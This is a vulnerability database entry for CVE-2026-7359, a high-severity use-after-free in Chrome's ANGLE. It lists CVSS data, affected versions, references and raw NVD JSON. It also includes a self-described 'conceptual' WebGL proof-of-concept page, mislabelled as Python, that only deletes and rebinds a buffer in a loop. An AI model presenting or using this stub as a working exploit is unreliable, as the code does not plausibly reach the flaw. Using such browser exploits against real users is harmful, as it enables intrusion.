CVE-2026-7359

Description

Use after free in ANGLE in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.138

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-7359 (Conceptual)
  This HTML page attempts to trigger the Use-After-Free in ANGLE.
  Requires a vulnerable version of Chrome prior to 147.0.7727.138.
-->
<html>
<head>
    <title>CVE-2026-7359 PoC</title>
</head>
<body>
    <h3>Triggering ANGLE UAF via WebGL</h3>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        // Initialize WebGL context which uses ANGLE
        const gl = canvas.getContext('webgl');

        if (gl) {
            console.log("WebGL context initialized.");
            
            // Create a shader program to interact with GPU memory
            const vsSource = `
                attribute vec4 aVertexPosition;
                void main() {
                    gl_Position = aVertexPosition;
                }
            `;
            
            const fsSource = `
                void main() {
                    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
                }
            `;

            function loadShader(gl, type, source) {
                const shader = gl.createShader(type);
                gl.shaderSource(shader, source);
                gl.compileShader(shader);
                if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
                    console.error('Shader compile error:', gl.getShaderInfoLog(shader));
                    gl.deleteShader(shader);
                    return null;
                }
                return shader;
            }

            const shaderProgram = gl.createProgram();
            const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
            const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);

            gl.attachShader(shaderProgram, vertexShader);
            gl.attachShader(shaderProgram, fragmentShader);
            gl.linkProgram(shaderProgram);

            // Simulate the race condition or UAF trigger
            // In a real exploit, specific buffer manipulation would occur here
            const positionBuffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
            const positions = [1.0, 1.0, -1.0, 1.0, 1.0, -1.0, -1.0, -1.0];
            gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW);

            // Attempt to trigger the vulnerability by rapid deletion and reuse
            for(let i=0; i<100; i++) {
                gl.deleteBuffer(positionBuffer);
                // Attempt to use the buffer again (UAF trigger point)
                // This may crash the renderer process in vulnerable versions
                gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
            }
            
            console.log("Exploit logic executed. Check for renderer crash.");
        } else {
            console.log("Unable to initialize WebGL.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7359
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7359
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7359/
[4] VulDB https://vuldb.com/cve/CVE-2026-7359
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/496284494

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7359", "sourceIdentifier": "[email protected]", "published": "2026-04-28T23:16:23.470", "lastModified": "2026-04-30T16:37:44.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in ANGLE in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.138", "matchCriteriaId": "162EE53D-80A0-4153-B6D6-B2EF01E0BDAE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/496284494", "source": "[email protected]", "tags": ["Permissions Required"]}]}}